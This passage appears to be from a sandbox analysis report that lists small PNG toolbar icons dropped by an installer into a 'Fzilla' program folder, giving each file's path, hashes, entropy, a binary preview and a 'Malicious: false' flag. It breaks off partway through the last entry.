Preview:	.PNG........IHDR................a...-IDATx......G.....U....m.6.j.v.T..}.b'....Nm\|cC....9...-......uK..-.n...e..c.w.::......[,U......p....\|.5...g......Y......3..,..(.]..T.q5.!.d..c1(...\..n..z.....>=5......WZi6./.z.Y......}=.....z.g...#Y.\..~..F.....[o.z........E4<..V[..f......C..`.2..8..?.(.z.....<.8C1..(......a.N..Zw[.....d.a\lR...Ag..>..C........fC...j...%ERu.{..:.E"..6....a../.....L..eYK.....d...&C.}05.p.I...(Z.T..........t..8Pm..,..e..(U&.Q@4A%u..-..<`......'...lR...~Yu...s...jx.....V..[.M..(.!&.r.f..h%..:..O<u....X5$.V......c.6...?...(.}..O.K.u.....V..0:.N.mV......we.U..Z.;. ....ib..D<.0...G.<z..... .v..G.x.w.y..43.kOw.'......c.}..R.....A.0.Yw{.?.T..'.{...........Y..L..z...bI.....P....;....u..v.E.T..q.._...e...s...u.._\|......#.%...n...DG../9..3.'........tt"v...\|.r..k.rq...C.,v.4.<9.E\\"..}..%+....u.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	677
Entropy (8bit):	7.569978264591361
Encrypted:	false
SSDEEP:	12:6v/7EHutTZTQ/FpjxX+29bJvkb015csoGcUIL0ek7le9lSnOW26GXG1:VOfEdv9pC01jlUlSnOWRD1
MD5:	6FDC07BC50534B83050EDAC3BF08C53F
SHA1:	F78469B0E2DAA7BAAF2F5E8143F2A850E0F3DFCC
SHA-256:	A62AD5301207902E9CF7071489CE5F176FAC7E012DC16A532D4FC996EB4C5E7A
SHA-512:	F669A58A085CFDCF6B989253148FB560E0AD1B4DE068942D4932974E977D995EF939DCA504964537C233F218F698C7F3654A7216103C3AF116CBC2B9DBB7F880
Malicious:	false
Preview:	.PNG........IHDR................a...lIDATx.b...;:...;....u..o..<I....5...g666^jnn.........b]]...M..;R...O..n..@...XG....XO..W..wR+.[u.k...m[...3.o...9..v..v8..jk..`.X....c....& ::Z.r.P........,....%D.& 22R.t:A!...9.7T.t:........"h..a.7.pj...4..I.p.....W../Y,} .....9.'..c.N....P...\h4.p.....H..1...-...)d...V..e.._]..0.@=.eY.}....:u.T..-.7.MB.T.B..es...S....4...AC..........9\|.0...r....8..$..Jex.0x\+........nr.AAA..v..pT?..j..h.34....9:x..k..v.8..+,].Tj.O......4.....xFwp..>.].&.g"Q..?..M.I.g.I....R.P%.u..A$.;:..?xp%F...0.......h~..!.RB........B...........c.....7._\|.7.l..k..x.`.H`.r...sm]>..}..........G..-[..D.`..k.:ij..t.....9mt..!K....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	527
Entropy (8bit):	7.429145983514361
Encrypted:	false
SSDEEP:	12:6v/7kO0IdUldogxRLXOB+upUah+JWI4sc:GDpgxRCXUQ+JW4c
MD5:	6F1EE5BBF770201BBCD0801B6C59BA84
SHA1:	ADAD6ADC5B0B320CAB16079DA78A7860EE4AFC2D
SHA-256:	93CFB2FEAEA7A22581BB67DE75F42450AF39805CC2F33F5DCBB0D959C81AC683
SHA-512:	BA56C48B88609B1BD870B58BDC53B1E4F5973FFD24DAC4C789B8EB31300715E67BE73D33930471094458CDC588FCD7564827629C4D5686F7AB0BDE1B9EB0E64F
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..RS..A.}..m......!...m.?...,.=]....(?.E..~....T.X.R..U0Q..el?_..)...? &..P......X,......X...........6..X..("...,...L...-..#,M.P[g_.6....0W.).,.9.I.E.t9.MJ.".....N.'.}z..0.I.........!.)....=ra.#.E.d.Gy.%.kP.4.r!<..6.$..T...@....J%/..z..G_..0.....vk...x...Y...<....\...@....~^.A.i...;.5.u.<..vi$..}mW..e...B.R...\..g..j]m..._..p.#...S...x%..........O.7..4.......`.......G\|...8....K.....S.Lly.el.\|.....c..oU.!.}....O.B..Qt..@.......*.....B....Alj.B_..9.x....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	578
Entropy (8bit):	7.518615976512269
Encrypted:	false
SSDEEP:	12:6v/7g7jl86prUDWKYR4BnppWno4B2wxh94MSY:TjleSKgGpaxTtSY
MD5:	D9C835BDC68992D007B4C7D5F64DDA21
SHA1:	8C6C9CEA3DE96604C471A92C8128FBD65C371D03
SHA-256:	C81CF883392446CEDC7776C8483885072F47496B2CAB6E66A2EC367F9FF30318
SHA-512:	9AC3E20D77E5B7051767D5A8349F65FEC14FC47B3A63ECF58751F5E65A697C1AF80586A7C80D26EFA8CC795ABDAFD48CB2CF53AB5D7CDDF81390B843DCA990AC
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3........yy.m.F...m.6..L...:...r.........U%...s.o....U..!....'.N\|#g.&.g....c1.._G.m..Nv;x.....1w....W....B....Q.....22.d..8....:.A....:.#..!.....pb..%......u.....DO.<.}..%.Sn,.ww..DP......&......aqI..ABdYd..\W..@i.U...X..W_...?Z..f..'............D...u5..2y^"..E~.l..._V...[..H...A..g...7Dy.(....]\.../'x.x.<qN...gD.6....`....../..A..H../.P......7.,:<].0G...+.LW..S:..d._n..\|2j...dz..........&=.....t..).)x...I7U.Q'.m.6$.......0....A......*.D..].lH..F.......eO".....<2..,.......C3jE.3).ww....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	184
Entropy (8bit):	6.309989587011825
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6Ptash+rWbb9FnattUrA/PKa90+MK1nnR1xglc1fTtRGDtWt:6v/lhPO6vJvn8UrAPLtL1nnR1xbTLG4t
MD5:	52F974BAFAB1FA8618307EA8E96B83AC
SHA1:	8DA59C0A32961CDA4DFB9816F2239D2126D16FEF
SHA-256:	EB05ECF138861F8148B4D2A9118147E5D7B4329269642D60B87638AA70C29992
SHA-512:	1DE291680981141A070A4913E470D7D6681EE3C9560370C7A7E27CE396DB38D6575817910F0363DA5AC6E83ED4D7FFDB141BF5B543E3173E0312BDCCA942A944
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.]....Q.E.....}.X..}9E.N.H.d..rx[y.. ...r........K...I./P8..q..P......B:h~...5..:...#.......H..f.B.'Na.-.....?-<v ..~.X+.0z......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	561
Entropy (8bit):	7.457433216032557
Encrypted:	false
SSDEEP:	12:6v/7qZWLYpu4JWTT09DH2KTJQmeWF1CRpf2mRRTkkml7:ILF46I0KfeCsjtRCkY
MD5:	8E715A8D58D1404D76CA577934514379
SHA1:	6B7AAC2360658514D72E417848B3A949153EABEF
SHA-256:	12D03B79C33A8E2230EF691CE03FDD4B228FCB8B73B6640316CF6D2BBE77C86F
SHA-512:	4B2FDD913AC36A76C1FC6B4698532160A6CECABC82BB47DB5D4B80094DDD29D1B55141283D6EDCA06A9CA72BD8CB067F1EF38A35A80A9FBFD24C76D37E22F514
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3.\|g.....O...?.m;..S.M..6U.....m.......3g..wl...+.9..=....~...v...AcO...k...F.s+....l.i5M9....?.K3#'O.....F.A..z...R..?..r.V.R......U6.;o.8...)........"..;...b.R.b.r.5u.7..S.&...s.s..&..)f...gv..."@.h..y....6..[..m...d.....c.P..<...6.bs!.Q.9.U..`..L".5......f.....E...P.....L...O5.<......c.shl.h.P.R.5..1.`.4.4.....UP............'}..f..S.....f.........J....'.g...O....0.(.yhx.S.<......4...O?~....)%!.U........F..I.\...c....E..M)..K.....mf\|...?.,L.G......V..Z#._..\|.....-zV.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	720
Entropy (8bit):	7.535273923212619
Encrypted:	false
SSDEEP:	12:6v/7p+fyUFNbPBHrI0Lk+iemqvvGkT2KKiaqO4MvenaEo02U3Q1vpxPk:OMLBLI0oz63+KPaqSeFz2JtpBk
MD5:	67011F382FD217C10690AE63599E3D34
SHA1:	EF4F9182075DEEBAD12038EA5AA16EF8FECE15F8
SHA-256:	878DC6515328A10C7C0B7522ACFF32FF62B065646E7A3DC916DF6F96134A3FF4
SHA-512:	5ABB89BEFD99A66E56DAF68C272F8BE491F6CF65114EF010BB5C76B845E546659964B2CD3A184EB94FB0DC7B9AEA932CE2A6AFBA52501DC7889C75FAEE83675B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.:.......O.......7...Puss.LII....3..YAA........I.&},//................rrr\|X5...qfgg..0a..Uj..+...m.m.m..m'].:.3ml.8...(............9..@OO....@D..../Acc...~...3Pzz:\]]....}...@~~>...0<<.i..L..I.sNN.(^.......:::'..M'''... !!.....]!..'..h...@ff&...9 ...!...E".)........(......I@.3.8f/44......-m..[+.. .J.9,--EJJ.LLL...E........+++hjjBWW.....JlmmW..b.Fmm-sJ..1tRR..%.EVv6J......emm.....6...... v.........&5Js..5.9.......kg...........R=].'......d..D?OP.9....w.#t.$..O.l.0....5.....T.NN..E[.s..P..E.....[...../..o.../.o.0.h._.O.G.-'3..e..X,..z..m...^.H$.v6.w...1U...h_....)iZ?.('..^.Oz.c1.P...?XXX\...j.P(.".Qj.....}._.....Y.z.P.-i....8N.A#.?.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	549
Entropy (8bit):	7.444281255672434
Encrypted:	false
SSDEEP:	12:6v/7ujrjVmgPGD2nBa3e082hSkd5uNKYWlWrmBTnFxnXB3eLLR9G5drq:TJRuDqtkfuNK8SVFxALLeG
MD5:	6317D91C90DD11F5A148BA8600DBF490
SHA1:	33E9F90465F279C75753035667B4BEC5273349CB
SHA-256:	483A537A084732D6D248104222F4325E2D0550F096325B461F133D2047CE97DC
SHA-512:	38DB07DCE564DC6F4E35CF6FF3DC0D1B4D957821B711074FDB54FC0DCFD916113E080A99C369947B28494693B34AEBB789DBCAE6290BDC25A2BE1791901B8BB0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.\|.C.^1.@O^>.m{.Q=......{.9.m.....[.n.w.Q.!....Zk.qC.O..6r`i.).T.T...8.......W;...y@17......1.o..jO.;..x..._A1a....y...F.s..c........).U~..s..ui..bOI..R2...&fN/(.t...)...J.@...../=/X..A.K."......1....n@T..Cv.....Q~..@b.7.. ...X.Fc.A.Z...o.r.._.....g.Y...B......@...?8.....fm.@........u3sN./..B.1..PJ.7.....w.Na.0.(....4.J...TQR'8..( !R%2ZDK...qQ..U.;.z....~f.zpD...........N..;{...K....S.T.'......\|.Q.....]..............I7..(z..[CEQ..o.............2...M[..t:....o.7..J......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	608
Entropy (8bit):	7.593731206176663
Encrypted:	false
SSDEEP:	12:6v/75INfQSGZoMBWJCyS4QXV5+NxCLDplJ82AJoTwrI5IUO:+iPI82+38Dpw2AJotO
MD5:	204DDCD8271F4E9E14D653F6B55B568D
SHA1:	2502E22BCCE9F28D07729E8BCC73936F5DDF9CDC
SHA-256:	3D3A6FAD6F5FC366D8DD989AC06C747058298E01E5CE29A5B8CFFA650D16F9A1
SHA-512:	B8D9D2305DE5EF2B7EE2ADB0F6B020A2D112AC63FF42F301AB7250EAAAFE9A4250724D7FCA0D65382BDD4EF2036888A68E6CCD5B7B1E6C87A92584253909B7AF
Malicious:	false
Preview:	.PNG........IHDR................a...'IDATx.\|.3.]A.@...m..2F....._q...m.g\..6.5f.Y"BS......u'...[6.{.v....\|.s.]6}....8...A]..l..z....c.....R.!.....K.\|.hP0.s.E.:..O....W.C..hf.....4.P..,... .....l d}!..r..h...j... ..Ak!..\| 4.A...2...IY......a...$..\R.X.(.E...y.4.......2.T..7..ai......(..q.Z.f.e.d.$.E.NE$K..k.....b.1......?.....\|.(.AT..w...k..'....5.D.)`.u....\\9.T.c.,..F!..o..9....+....O.V. .9.....Z.?!.#,K....s...~d.}...a......\\5.6..R.0...\Q.yQ.....!.FL[.._.\.0......S<..(.....y......;..c...Sa....J.bJEg..l..e.g..y....3....8@................Dc~.b)>.\.d1..Xf#...#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	572
Entropy (8bit):	7.466948882485816
Encrypted:	false
SSDEEP:	12:6v/7VCqKr5vE3T0Nau1RLArtQzV8+kyjKg/RH7I/A7:YKrdE3T0h1hSQCDYv1v
MD5:	F62B4DC63CE62618BD4366160EBBFC31
SHA1:	8B322D2BF48FFD20E613F5BFFB6FE5D7E8D22376
SHA-256:	6377353E0CDCE7FAAA80F66DE80787D92E0629B57326AB1658607EDF663618A3
SHA-512:	9299A0A1E0396CD826307244778E0D951B9E5DB27CA1711F87B2F73741D34DC90D726A6F504D9018EFD78A7DC5C922B18AD2245FD4094B6547F3A23CDA915BB0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b .,?..u...R...1^y...=.5ar,0F....j.\|._Uy..U.l.5..A.@._=...;D..w.@.I.9.)....3......3k....Z..5+.5..z..S.......,.2..c.y.RI...D........f.M.;.T......U...1\|_../C]..d.O.v..D...c....(u.F.....6..S......+.P........0...IC...i..@..TA2X..3..`.....A....b]V.......RB(........B..zR......JA".......d...n..;...;.z...B..(.C......p...\|......./.8f....\|...$.....`.....u5Q.O.U........]`.}...+I....Ij...EPD.. )..?.......K..>...........?.u..==..`.sNsJ....f.....+..{g......]}.f]..z.@x...UW.....k.M.>.....&....$......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.651534126730263
Encrypted:	false
SSDEEP:	12:6v/7vF05+dAbkKbNX3CbcJw443prjfIPg/gsxE1EwseCt46YgFmQvFBnj9:M0Edsso4Z/IPgHOKwsz43uvFx9
MD5:	1A30DB573D845F5EEE2F24D78A7E2201
SHA1:	C3BA6A171615FE93A723873E5BE00B026A5E57DD
SHA-256:	2617350A14E29058F2534A4497E9C1F226AD209D0CED53101393F0E3FF80EE1B
SHA-512:	BEC9DD57AA40487F757E8368805F2D84DFC9F769D7BB94BA5A0AAAB59C21AF477245A8F7C70973621C4E3065A92EA4A0604DB117F544B93046A2DE9CEB7562B0
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b@....y.K...X@.%..0/?qW.....n<....].'....v.ko6...4.h.9y....q.4.lN.igK........+.3.##H..r..&......g..m.m...q......V.....z.L%/.....H.3Ev$.....#O...s..k....}x..1Gq.... ...~.Gw3E.E..$.:.#....e.(...Y.Q....O......e0(R0J...3o.....yjj.\|X..)........&.....~...(.W......L(........ok..9`..[.9lf.aG.{..{.]q..B..1.C.......B..P..TJ..8...5!.H....Z&...=.J..i...'..Ed.M..U..A...E.$.... I....."..D6r...h./JPp.B.x.3.....?....../.....'.y3.R.Tw...%..B.>f.N..:.."..N3.......]z.e-E.8Q........X.rT...4L.3%.}Sm.4g.m...xG...D....X.Z....LWso.m........f.;9..........t....T."L...\....}o.......~k..Nv..@.BT. h......~.t..)...V^p..#.j...y....Z~......A..)>...d1......1......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.6338526235497435
Encrypted:	false
SSDEEP:	12:6v/7l+BC1P3A5vjBB+VDpNdWcIU5n3l21fFVy9sh/delKLuX9:WGgY5vj+vRpnV6MeMU0
MD5:	98958934D95A95342F55B2C19DBBD45F
SHA1:	DDFDF50D910ED570AB29FB1D1CFB8359686195D8
SHA-256:	5589048C6E964F5FA1BB4A4FB1748F9BADB18C5A4D4F1F9D403F1CFC08E77372
SHA-512:	820BD24461F45BB589A9E7D733C12631981052C463110CBC4C709992984171B02FCD313719C8FEE955277F683059326216EBECFC170F6D9E02EE82CF3763843F
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.}S.`#P.ko.m.m.g.m.m.m..o>&..c...D...dg....>.......n.....y..z..~y."..M........o1..6j2.1.+..%\......"...r.77......L..U.1..C.B.q...).:.42.e.>..O..@Hj........Qo..R.< .y.}...../lk....J/1<....&)..Wx.)...[[...;...@i`..............w..~..?.H....@.V{q.....rCM..D.\|..ih.J...q...z..;.m...:.H,,....6..8ffD9/W{..3%.c.A.!....bM..........C..../..\|...t`...v..l.$..V\|".....@.D...<X..'.]UmjXj.. ):..TS..s.._%...P.'..../...x....5......f.U5....F"..N.-4).:....b.G}ay..j.'..fH.u.-...l.-K.@...33...5...h..D.R.6o...j.j....zr......$!`..~,.+...up.r.c.<E.....Z...m..(.oBzI....E.4U`......[.Z.)qm....W~;...CJ..........R<...d2..W.x....nV.r-......B..Zl6fb....}..HD.v^)=6~y].$.....(.s.].......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-09LMH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	694
Entropy (8bit):	7.583789062569368
Encrypted:	false
SSDEEP:	12:6v/76y80HdC+nc0fbqKHSSiSDT2fRsvUKqDhmBbs3l6l4Xrk5tBcZNRI0uS363sm:m8+lnc0+KyVSf2JcUNoBbcUyrgt6ZNRO
MD5:	19C26B4E74D39AD94B8B7F7D9712E588
SHA1:	50A09E98F41963467239BCFE24916281677AFC2C
SHA-256:	B9CDECDB91CF8412F80DB64042B51FF23A48C158A98502BC075887A7FEFB7C7F
SHA-512:	8C0D3BA0C5FEF5F6E4BD47B7EB60EE941DDEB8FEE53F904D81E784964105691B18F6DBCF34DFDD297C9DD2B9B8E37692A1AE8E9A8D640C0FBFD38FB06DEE36D7
Malicious:	false
Preview:	.PNG........IHDR................a...}IDATx.e...G....?....w...n..2.b7V.'...Am_m...{./f.y....A...?~.p..]8...W.l...:s.1,q.2.k..../Y..._.y.g.+.Oot...l.6.k,u...z.q...R.&....j.3@"..Xi.}\|.=8...7...<.S..$....9V.g..N.......9....z..r..L..e'_5..d~O....`..T...g.(.H....`...$Q...d. .b.R...X...a...."=.....IP@...X.....A...HH.q....G{...6.<~........F..'Qf0. <8...o@........}.\.es....].....@4I{... t.....0...y.-n....R...7o\G-.R..0.\|.p.I=X.3..0...G..d..N.y6\\..2@}..!...0..1...b..>....u....c.1.............LQ....f........0)'..u1....s.Lu...._...........H..?8.m..H....~....K._?..n.8..3._............osG}.5o8.......0../....x~..$...j.c..*...S.&.........{2M./...(.....4....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-0RM8V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	408
Entropy (8bit):	7.173949680245666
Encrypted:	false
SSDEEP:	12:6v/7uNpA2GMitvGINeD6P3Z2Jn1BN3dvOghq1:nTA2GMOJNeD6Pp2J1BNNvOgE1
MD5:	15E2D4DC877FD021401095D683F1EDCF
SHA1:	D03F70D6412E00F77309B82B67656C0CA0CA2ABC
SHA-256:	BACED0B80BD22B31BA27C5E282F5BDA8D4F9961461DCDDF07F7FE42F731ADD6C
SHA-512:	AD197C0A948DE5988349C7271E40C6E2205BA652DB3BC03A5DDD2E4EC109AF22F21BEEC040089FAB05868E51F2023E16DE17863B6FBC7DF1AF5AFC6646FABA20
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......n......MIDATx...j.P....>.......O..6...!....Hj.HZ.Jp.f0N.\/.S9.E".7.s....o......`....J.....\|..0........u.Z......eY3......p..`.6...9.4M.f..B...$".0......t.s.G.u.m..0.g?\|..u]/...{.@.4"..j...RF..\....7o.!..D.y...(.4K.>.Q.$.#6.xAq.w].?g'.[.l..?..n.]....cai..........k())Y.x.......333<*.\..]......>.x.w....@..5..qrrr..<0...NHH.k 9y..l^S.y1O.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-239PL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	729
Entropy (8bit):	7.622890726886032
Encrypted:	false
SSDEEP:	12:6v/7h0TTf6lRKqKxAJxrwxO2WPczMlnYQfzPThZHX+vmw9taaPpnFtz:5TClgHAgW0+n/bDHXKx98alFl
MD5:	921C942CC800D1FCE8854AFE1DA07FDD
SHA1:	0ACA922B5CC61A6EC4DDC8068322C2F513E72970
SHA-256:	351740E63727868E193567F53873C10250471C003DCC8B279D00354C92CFF915
SHA-512:	827CEEDA6E3ED12A6AAC57B374AC182A14E45447AFAE5C3DC23D8711B1011CEA88373E77DF7742AF9C35FF24F174E7A003FFFA80BE17A9E339B95687AE6FE481
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C.5G..oU.'....ul..u./..v..&.m.c..c...........d....:..S... EQD.........@..u]u..R......".{.s.\1..rs1;c....=hmmc~.....I.X/cF.G..@c:.....s.....-.y.2.ro.....b.I........"...4A....Y.T...8.~.........'.....O..=......#. 42.z.....1.L.\.....G5..2k.o.3e.w..s....~M....d.s.\|C....Lu.7.I.r.l......8.0:..o.Q,@Dl.]18...x.:.0..J..z0...ac}.A:#..1....5O.j...I........Rm.]...Upg!V....x.....g.Y=........ "..p.[.g-.d.h!!.eLb..Ro.....A#.J....R.I...v..n'.>.dU<.....`x...g..3......p.J1....Lc...;w-..6.z.5..6.J.....g......M...,d..$ ......[!..."B....?5.....\H..@S8.Y..?D....?..!.0. ...A.~.&.).k....RJM.@ .II....\|.>.....a0....5...g.nis.!M{/L...0...K...qAy.!........&D.w..b....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-4CVFA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.6338526235497435
Encrypted:	false
SSDEEP:	12:6v/7l+BC1P3A5vjBB+VDpNdWcIU5n3l21fFVy9sh/delKLuX9:WGgY5vj+vRpnV6MeMU0
MD5:	98958934D95A95342F55B2C19DBBD45F
SHA1:	DDFDF50D910ED570AB29FB1D1CFB8359686195D8
SHA-256:	5589048C6E964F5FA1BB4A4FB1748F9BADB18C5A4D4F1F9D403F1CFC08E77372
SHA-512:	820BD24461F45BB589A9E7D733C12631981052C463110CBC4C709992984171B02FCD313719C8FEE955277F683059326216EBECFC170F6D9E02EE82CF3763843F
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.}S.`#P.ko.m.m.g.m.m.m..o>&..c...D...dg....>.......n.....y..z..~y."..M........o1..6j2.1.+..%\......"...r.77......L..U.1..C.B.q...).:.42.e.>..O..@Hj........Qo..R.< .y.}...../lk....J/1<....&)..Wx.)...[[...;...@i`..............w..~..?.H....@.V{q.....rCM..D.\|..ih.J...q...z..;.m...:.H,,....6..8ffD9/W{..3%.c.A.!....bM..........C..../..\|...t`...v..l.$..V\|".....@.D...<X..'.]UmjXj.. ):..TS..s.._%...P.'..../...x....5......f.U5....F"..N.-4).:....b.G}ay..j.'..fH.u.-...l.-K.@...33...5...h..D.R.6o...j.j....zr......$!`..~,.+...up.r.c.<E.....Z...m..(.oBzI....E.4U`......[.Z.)qm....W~;...CJ..........R<...d2..W.x....nV.r-......B..Zl6fb....}..HD.v^)=6~y].$.....(.s.].......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-4IOPF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	643
Entropy (8bit):	7.604129644879144
Encrypted:	false
SSDEEP:	12:6v/79/iaehl2fBHa/13T99us6XGqeICPPksevgVKUmp+Ivdifl0c:gT9fBHK3TfusHnQ4YsIvdit0c
MD5:	A1004B232FE3EB85DBCC35C0D5EA9CE6
SHA1:	5D898F13BA4966332614A53D39585A3002B10AF5
SHA-256:	A5FA2C20D415CE65E8ED8D1F8B0474C8243A595AA5F9101E6A4EAE2BA621E570
SHA-512:	0CD394062A9903732515BB1327A224B7E13F007B8806B196A6FF9203610264B2381C6B89A023C35B9980E3FCED88FFFEDAA950C7A7CF54F82E78401BB965C393
Malicious:	false
Preview:	.PNG........IHDR................a...JIDATx......f.../N.....W.m.....=x..m....3.+.N......=.....=....9..#+...^.s....}.A.!q.........{.-../0.?.............$bh.......1.Y5$..1R..'..9....N.5.r...S.aJ.}...#/8..1.......x.....7.m......\|.).........d./....M...#.W......>.}.>J......?....3.2.k..X.N..8k.o.....<....A.#..&.E.Qrd....E=....?i....x....`66.i..e....O......s....<.Ct.O?..@.......l...?p.A+..g.W.....r..?..C?..mI.. !..[.....4..esEr.R..%...)V...Y..C..c.M..j35/.S.7!pSI.ZD....a.Mk..`..........X.l......_]..K:.!...v..\...ql....B...S1.}...i7.v....d..Z..^.5C....J.P\l.\..BI..Dk.x.)..K.~.S....s...~V......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-60F5Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	643
Entropy (8bit):	7.514071061699672
Encrypted:	false
SSDEEP:	12:6v/79MNJa43nUJ8UIe1IwZxYUzI9+d9Tkul5J9xH5tMDwURVvuucy3Pg1cw2rDxs:gUJaCnUJ8iyQYcIZul5tHXMEo2pyfkz
MD5:	A7C392870E81052B555F190D48FFF8D6
SHA1:	9BFD73A225F627D2E66A494E9506044D21CA87FF
SHA-256:	B1503DEDFCA7419511395FBA3377527BD9983DBF3F373B260A6AABBD89859DDF
SHA-512:	D892E63E9EBE4363B26E3ED8F24440A28E4242BFCA3ABAC3BAE36724B4D7FCAD49A2C612F4620A1EFDA8A0FF5F67084FAE0C394C7D57BF0E04A2923ABD32A4CC
Malicious:	false
Preview:	.PNG........IHDR................a...JIDATx........../i...m.m.`.m.m.`..m._.b...oT.Q....}..t.UF...R....Z.....r.i..~..y>>19.+{.....QE.u...n.I.....o.$....ui^g..\.....f@...........A4i0.{.S...t..5Oo..m..\..<=....@"J..t...Fj.2..Q.AJ.....M7H...#.C?a..8.Q......Q....... .....@"...H+T.a..(;..Ha..O.0...B..5....B..`Z...A..C .$.. .a..#..A..........O."..d.....,..E.p.,..{.q&..(.@.#..A..`.4............n#.Y.f...NB """.P.I#.....@..H\:..+.!....'.X...%PB..)R...Cd.R}.2;mrLt......$.;..".\8.....%......`...{e...E.k.=.g...9[.....n.....i.#.I26.....a....b.E.......RI.Sm%.."H.-.{.t....K,...\....@.D"...w...{w...G.~.P...C....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\16x16\is-65PG4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	720
Entropy (8bit):	7.633461318989507
Encrypted:	false
